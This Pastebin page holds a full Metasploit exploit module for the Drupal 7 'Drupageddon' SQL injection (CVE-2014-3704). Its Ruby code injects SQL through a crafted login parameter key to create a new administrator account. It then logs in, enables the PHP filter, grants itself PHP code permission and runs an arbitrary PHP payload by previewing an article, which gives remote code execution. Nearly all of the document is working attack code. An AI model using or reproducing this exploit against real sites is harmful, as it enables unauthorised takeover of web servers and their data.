Advertisement
Guest User

1

a guest
Nov 24th, 2014
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
RBScript 10.79 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. require 'msf/core'
  7.  
  8. class Metasploit3 < Msf::Exploit::Remote
  9.   Rank = ExcellentRanking
  10.  
  11.   include Msf::Exploit::Remote::HttpClient
  12.  
  13.   def initialize(info={})
  14.     super(update_info(info,
  15.       'Name'           => 'Drupal HTTP Parameter Key/Value SQL Injection',
  16.       'Description'    => %q{
  17.         This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
  18.         (aka Drupageddon) in order to achieve a remote shell on the vulnerable
  19.         instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
  20.         in 7.32).
  21.       },
  22.       'License'        => MSF_LICENSE,
  23.       'Author'         =>
  24.         [
  25.           'SektionEins',          # discovery
  26.           'Christian Mehlmauer',  # msf module
  27.           'Brandon Perry'         # msf module
  28.         ],
  29.       'References'     =>
  30.         [
  31.           ['CVE', '2014-3704'],
  32.           ['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
  33.           ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
  34.         ],
  35.       'Privileged'     => false,
  36.       'Platform'       => ['php'],
  37.       'Arch'           => ARCH_PHP,
  38.       'Targets'        => [['Drupal 7.0 - 7.31',{}]],
  39.       'DisclosureDate' => 'Oct 15 2014',
  40.       'DefaultTarget'  => 0
  41.     ))
  42.  
  43.     register_options(
  44.     [
  45.       OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
  46.     ], self.class)
  47.  
  48.     register_advanced_options(
  49.     [
  50.       OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
  51.       OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
  52.     ], self.class)
  53.   end
  54.  
  55.   def uri_path
  56.     normalize_uri(target_uri.path)
  57.   end
  58.  
  59.   def admin_role
  60.     datastore['ADMIN_ROLE']
  61.   end
  62.  
  63.   def iter
  64.     datastore['ITER']
  65.   end
  66.  
  67.   def itoa64
  68.     './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
  69.   end
  70.  
  71.   # PHPs PHPASS base64 method
  72.   def phpass_encode64(input, count)
  73.     out = ''
  74.     cur = 0
  75.     while cur < count
  76.       value = input[cur].ord
  77.       cur += 1
  78.       out << itoa64[value & 0x3f]
  79.       if cur < count
  80.         value |= input[cur].ord << 8
  81.       end
  82.       out << itoa64[(value >> 6) & 0x3f]
  83.       break if cur >= count
  84.       cur += 1
  85.  
  86.       if cur < count
  87.         value |= input[cur].ord << 16
  88.       end
  89.       out << itoa64[(value >> 12) & 0x3f]
  90.       break if cur >= count
  91.       cur += 1
  92.       out << itoa64[(value >> 18) & 0x3f]
  93.     end
  94.     out
  95.   end
  96.  
  97.   def generate_password_hash(pass)
  98.     # Syntax for MD5:
  99.     # $P$ = MD5
  100.     # one char representing the hash iterations (min 7)
  101.     # 8 chars salt
  102.     # MD5_raw(salt.pass) + iterations
  103.     # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
  104.     iter_char = itoa64[iter]
  105.     salt = Rex::Text.rand_text_alpha(8)
  106.     md5 = Rex::Text.md5_raw("#{salt}#{pass}")
  107.     # convert iter from log2 to integer
  108.     iter_count = 2**iter
  109.     1.upto(iter_count) {
  110.       md5 = Rex::Text.md5_raw("#{md5}#{pass}")
  111.     }
  112.     md5_base64 = phpass_encode64(md5, md5.length)
  113.     md5_stripped = md5_base64[0...22]
  114.     pass = "$P\\$" + iter_char + salt + md5_stripped
  115.     vprint_debug("#{peer} - password hash: #{pass}")
  116.  
  117.     return pass
  118.   end
  119.  
  120.   def sql_insert_user(user, pass)
  121.     "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
  122.   end
  123.  
  124.   def sql_make_user_admin(user)
  125.     "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
  126.   end
  127.  
  128.   def extract_form_ids(content)
  129.     form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
  130.     form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
  131.  
  132.     vprint_debug("#{peer} - form_build_id: #{form_build_id}")
  133.     vprint_debug("#{peer} - form_token: #{form_token}")
  134.  
  135.     return form_build_id, form_token
  136.   end
  137.  
  138.   def exploit
  139.  
  140.     # TODO: Check if option admin_role exists via admin/people/permissions/roles
  141.  
  142.     # call login page to extract tokens
  143.     print_status("#{peer} - Testing page")
  144.     res = send_request_cgi({
  145.       'uri' => uri_path,
  146.       'vars_get' => {
  147.         'q' => 'user/login'
  148.       }
  149.     })
  150.  
  151.     unless res and res.body
  152.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  153.     end
  154.  
  155.     form_build_id, form_token = extract_form_ids(res.body)
  156.  
  157.     user = Rex::Text.rand_text_alpha(10)
  158.     pass = Rex::Text.rand_text_alpha(10)
  159.  
  160.     post = {
  161.       "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
  162.       'name[0]' => Rex::Text.rand_text_alpha(10),
  163.       'pass' => Rex::Text.rand_text_alpha(10),
  164.       'form_build_id' => form_build_id,
  165.       'form_id' => 'user_login',
  166.       'op' => 'Log in'
  167.     }
  168.  
  169.     print_status("#{peer} - Creating new user #{user}:#{pass}")
  170.     res = send_request_cgi({
  171.       'uri' => uri_path,
  172.       'method' => 'POST',
  173.       'vars_post' => post,
  174.       'vars_get' => {
  175.         'q' => 'user/login'
  176.       }
  177.     })
  178.  
  179.     unless res and res.body
  180.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  181.     end
  182.  
  183.     # login
  184.     print_status("#{peer} - Logging in as #{user}:#{pass}")
  185.     res = send_request_cgi({
  186.       'uri' => uri_path,
  187.       'method' => 'POST',
  188.       'vars_post' => {
  189.         'name' => user,
  190.         'pass' => pass,
  191.         'form_build_id' => form_build_id,
  192.         'form_id' => 'user_login',
  193.         'op' => 'Log in'
  194.       },
  195.       'vars_get' => {
  196.         'q' => 'user/login'
  197.       }
  198.     })
  199.  
  200.     unless res and res.code == 302
  201.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  202.     end
  203.  
  204.     cookie = res.get_cookies
  205.     vprint_debug("#{peer} - cookie: #{cookie}")
  206.  
  207.     # call admin interface to extract CSRF token and enabled modules
  208.     print_status("#{peer} - Trying to parse enabled modules")
  209.     res = send_request_cgi({
  210.       'uri' => uri_path,
  211.       'vars_get' => {
  212.         'q' => 'admin/modules'
  213.       },
  214.       'cookie' => cookie
  215.     })
  216.  
  217.     form_build_id, form_token = extract_form_ids(res.body)
  218.  
  219.     enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
  220.     enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
  221.  
  222.     unless enabled_matches
  223.       fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
  224.     end
  225.  
  226.     post = {
  227.       'modules[Core][php][enable]' => '1',
  228.       'form_build_id' => form_build_id,
  229.       'form_token' => form_token,
  230.       'form_id' => 'system_modules',
  231.       'op' => 'Save configuration'
  232.     }
  233.  
  234.     enabled_matches.each do |match|
  235.       post[match.captures[0]] = '1'
  236.     end
  237.  
  238.     # enable PHP filter
  239.     print_status("#{peer} - Enabling the PHP filter module")
  240.     res = send_request_cgi({
  241.       'uri' => uri_path,
  242.       'method' => 'POST',
  243.       'vars_post' => post,
  244.       'vars_get' => {
  245.         'q' => 'admin/modules/list/confirm'
  246.       },
  247.       'cookie' => cookie
  248.     })
  249.  
  250.     unless res and res.body
  251.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  252.     end
  253.  
  254.     # Response: http 302, Location: http://10.211.55.50/?q=admin/modules
  255.  
  256.     print_status("#{peer} - Setting permissions for PHP filter module")
  257.  
  258.     # allow admin to use php_code
  259.     res = send_request_cgi({
  260.       'uri' => uri_path,
  261.       'vars_get' => {
  262.         'q' => 'admin/people/permissions'
  263.       },
  264.       'cookie' => cookie
  265.     })
  266.  
  267.  
  268.     unless res and res.body
  269.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  270.     end
  271.  
  272.     form_build_id, form_token = extract_form_ids(res.body)
  273.  
  274.     perm_regex = /name="(.*)" value="(.*)" checked="checked"/
  275.     enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
  276.  
  277.     unless enabled_perms
  278.       fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
  279.     end
  280.  
  281.     # get administrator role id
  282.     id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
  283.     vprint_debug("#{peer} - admin role id: #{id}")
  284.  
  285.     unless id
  286.       fail_with(Failure::Unknown, "Could not parse out administrator ID")
  287.     end
  288.  
  289.     post = {
  290.       "#{id}[use text format php_code]" => 'use text format php_code',
  291.       'form_build_id' => form_build_id,
  292.       'form_token' => form_token,
  293.       'form_id' => 'user_admin_permissions',
  294.       'op' => 'Save permissions'
  295.     }
  296.  
  297.     enabled_perms.each do |match|
  298.       post[match.captures[0]] = match.captures[1]
  299.     end
  300.  
  301.     res = send_request_cgi({
  302.       'uri' => uri_path,
  303.       'method' => 'POST',
  304.       'vars_post' => post,
  305.       'vars_get' => {
  306.         'q' => 'admin/people/permissions'
  307.       },
  308.       'cookie' => cookie
  309.     })
  310.  
  311.     unless res and res.body
  312.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  313.     end
  314.  
  315.     # Add new Content page (extract csrf token)
  316.     print_status("#{peer} - Getting tokens from create new article page")
  317.     res = send_request_cgi({
  318.       'uri' => uri_path,
  319.       'vars_get' => {
  320.         'q' => 'node/add/article'
  321.       },
  322.       'cookie' => cookie
  323.     })
  324.  
  325.     unless res and res.body
  326.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  327.     end
  328.  
  329.     form_build_id, form_token = extract_form_ids(res.body)
  330.  
  331.     # Preview to trigger the payload
  332.     data = Rex::MIME::Message.new
  333.     data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
  334.     data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
  335.     data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
  336.     data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
  337.     data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
  338.     data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
  339.     data.add_part('Preview', nil, nil, 'form-data; name="op"')
  340.     data.add_part(user, nil, nil, 'form-data; name="name"')
  341.     data.add_part('1', nil, nil, 'form-data; name="status"')
  342.     data.add_part('1', nil, nil, 'form-data; name="promote"')
  343.     post_data = data.to_s
  344.  
  345.     print_status("#{peer} - Calling preview page. Exploit should trigger...")
  346.     send_request_cgi(
  347.       'method'   => 'POST',
  348.       'uri'      => uri_path,
  349.       'ctype'    => "multipart/form-data; boundary=#{data.bound}",
  350.       'data'     => post_data,
  351.       'vars_get' => {
  352.         'q' => 'node/add/article'
  353.       },
  354.       'cookie' => cookie
  355.     )
  356.   end
  357. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement